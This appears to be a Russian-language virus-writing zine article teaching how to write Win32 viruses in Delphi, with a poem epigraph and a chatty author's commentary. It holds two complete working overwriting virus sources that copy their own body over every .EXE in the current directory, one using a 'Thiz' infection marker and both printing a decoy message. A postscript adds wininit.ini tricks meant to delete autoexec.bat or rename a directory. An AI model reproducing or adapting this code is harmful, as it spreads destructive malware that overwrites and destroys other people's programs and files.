╔═══════════════════════════════════════════╗
                 ║ ■                                       ■ ║
                 ║      █▀ █▀▄ █▀ █▀█ ▀█▀ █ █ █▀▄ █▀ █▀▀     ║
                 ║  THE █  █▄▀ █▄ █▄█  █  █ █ █▄▀ █▄ █▄▄     ║
                 ║      █▄ █ █ █▄ █ █  █  █▄█ █ █ █▄ ▄▄█     ║
                 ║ ■                                       ■ ║
                 ╚═══════════════════════════════════════════╝

                          Вирусы на HLL под винду.

-------------------------------------------------------------------------------

			Порой умирают боги -- и права нет больше верить
			Порой заметает дороги, крестом забивают двери
			И сохнут ключи в пустыне, а взрыв потрясает сушу,
			Когда умирает богиня, когда оставляет души
			Огонь пожирает стены и храмы становятся прахом
			И движутся манекены не ведая больше страха
			Шагают полки по иконам бессмысленным ровным клином
			Теперь больше верят погонам и ампулам с героином
			Терновый венец завянет, всяк будет себе хозяин
			Фолклором народным станет убивший Авеля Каин
			Погаснет огонь в лампадах, умолнут священные гимны
			Не будет ни рая, ни ада, когда наши боги погибнут

			Так иди и твори, что надо, не бойся, никто не накажет
			Теперь ничего не свято...

                                                                      (1985)
	   из книжки стихов Янки и Егора Летова "РУССКОЕ ПОЛЕ ЭКСПЕРИМЕНТОВ"


                   -= Как НЕ надо писать Win32 вирусы =-


    Вирус Win95.based расползается по бескрайним просторам виртуального мира
  и не дает старым добрым досовским вирусам вести достойное существование.
  Даже HLL-вирусы тонут в этом дерме. Но, как говорится, "мы не лыком шиты", и
  практически сразу после выхода MD появились win95 вирусы ( вспомните Boza ),
  и, как говорит товарищ КаCПЕРский, "В любой операционной системе, которую
  сделала MicroSoft будут жить вирусы" :)
    Заглянув в его же энциклопедию я увидел, что Win32 вирусов очень мало
  (а вы говорите прогресс, блин). "Надо срочно исправлять", - подумал я.
  Пялился, пялился в исходник CIH'а ( Чернобыль, если кто не знает ) и понял,
  что асм ни хрена не знаю (как будто так не знал). Учи, скажете вы.
  Учить, это хорошо, но легко сказать - долго делать, да и времени ни хуя нет.
  А вирус-то написать охота. Но тут я вспомнил, что есть ЯВУ, но какой выбрать?
  C/CPP я знаю поверхностно, поэтому я выбрал Pascal, а точнее кусок Delphi.
  Если вы когда-нибудь писали вирус на паскале, то увидев чудо (см. ниже)
  поймете, что на дельфи писать также просто.

------ FIRST\venom.dpr ------
program Venom;
{$D+,I-,L-,Y-,Z1}

{$APPTYPE CONSOLE}

uses SysUtils;

Const
  Lng = 29184;

Var
  DirInfo  : TSearchRec;
  F	   : File;
  Buffer   : Array [1..Lng] of Byte;
  Result   : Integer;

begin
  FileMode:= 0;
  AssignFile(F , ParamStr(0));
  Reset(F , 1);
  BlockRead(F, Buffer, Lng);
  CloseFile(F);
  FileMode:= 2;
  Result:= FindFirst('*.EXE', faArchive, DirInfo);
  While Result = 0 do
    begin
      AssignFile(F , DirInfo.Name);
      Reset(F, 1);
      If IOResult=0 then
        begin
          BlockWrite(F, Buffer, Lng);
          CloseFile(F);
        end;
      Result:= FindNext(DirInfo);
    end;
  FindClose(DirInfo);
  WriteLn('This program must be run under Win32');
end.
------ FIRST\venom.dpr ------

    Ну как вам эта порнография? Нравится ?!?! < 8-(______]. А как же длина?
  Да хрен с ней, скажите вы, MD все таки. Ни хуя, вон CIH какой маленький ~1 Кг
  всего, да и остальные около 8 Кг. Так что будет извращатся дальше, если уж
  начали. Смотрим сорки SysUtils (Борлад в отличии от "мягких" не жадный),
  видим что там всякой хуйни не нужной видимо-не видимо, долго жмем del, и 
  получаем ~15 кг, уже лучше, но хотелось бы меньше.
    Короче, без API не обойтись.
  После просмотра хелпа по API функциям, я понял что все не так сложно и в 
  итоге получилась очередная бага.

------ API\venom.dpr ------
program Venom;
{$APPTYPE CONSOLE}			// чтоб приложение консольным было

Uses Windows;				// константы и описания типов выня

Const
   Lng= 13824;				// длина вируса

Var
   F, FS: THandle;			// хэндл файлов
   FS_B: Boolean;                       // для поиска
   B: Integer;
   Buffer: array [1..Lng] of Byte;	// для переноса тела
   DirInfo: TWIN32FindDataA;		// для поиска файлов


procedure Infect;			// процедура заражения

function Check_It: Boolean;		// проверки на наличие вируса в файле
var
   Buf: array [1..4] of Char;		// буфер

begin
                                        // Открывает файл на чтение
  F:= CreateFile(DirInfo.cFileName, GENERIC_READ,
                                    FILE_SHARE_READ, nil,
                                    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
                                        // Перемещаемся 50h 
  SetFilePointer(F, $50, nil, FILE_BEGIN);
  ReadFile(F, Buf, 4, B, nil);          // и читаем 4 байта
  Result:= (Buf <> 'Thiz');             // если не "Thiz" заражаем
  CloseHandle(F);                       // закрываем файл

end; { Check_It }

begin
  If Check_It Then                      // если вира нет, то
  Begin                                 // открываем файл на чтение/запись
    F:= CreateFile(DirInfo.cFileName, GENERIC_READ or GENERIC_WRITE,
                                      FILE_SHARE_READ or FILE_SHARE_WRITE, nil,
                                      OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    WriteFile(F, Buffer, Lng, B, nil);  // и записываем себя поверх жертвы.
  end;
  CloseHandle(F);                       // закрываем файл
end;  { Infect }

begin
                                       // скопируем себя в буфер
   F:= CreateFile(PChar(ParamStr(0)), GENERIC_READ,
                                      FILE_SHARE_READ, nil,
                                      OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
   ReadFile(F, Buffer, Lng, B, nil);
   CloseHandle(F);
   FS:= FindFirstFile('*.EXE', DirInfo);// ищем подходящие файлы
   If  FS <> INVALID_HANDLE_VALUE then  // если нашли 
   begin
   Infect;                              // заражаем пока не кончатся
   while FindNextFile(FS, DirInfo) do infect;
   end;
   FindClose(FS);                       // убираем за собой и отмазываемся
   WriteLn('This program must be run under Win32');
end.
------ API\venom.dpr ------

	Зачем херней страдал, скажете вы, длина-то все равно огромная. 
  А я вам отвечу: зато с API познакомился, кстати на ЯВУ их изучить проще.
  И вообще паковщики есть, UPX например. Упакуйте и будет 8 Кг. Короче простор
  для творчества огромный. Но особо не увлекайтесь, учите лучше ассемблер.

                                                      Любитель извратов,
                                                      HamadRyard.

P.S.
   Если что не понятно смотрите DDK или SDK, короче говоря хелп по API.
   И еще, это так сказать проба пера, так что если что не нравится, ногами
   сильно не пинайте. Лучше черкните пару строк на [email protected].   

P.S.S.
   Ну и напоследок прикол.
   Есть у MD файл такой wininit.exe, так вот если к нему .ini файлик, сделать
   wininit.ini т.е., то можно чудеса творить. Например, можно записать туда

   [NUL]
   C:\autoexec.bat=1

   или

   [rename]
   DIRNUL=C:\

   Ну я думаю понятно для чего. Если кто знает другие параметры поделитесь.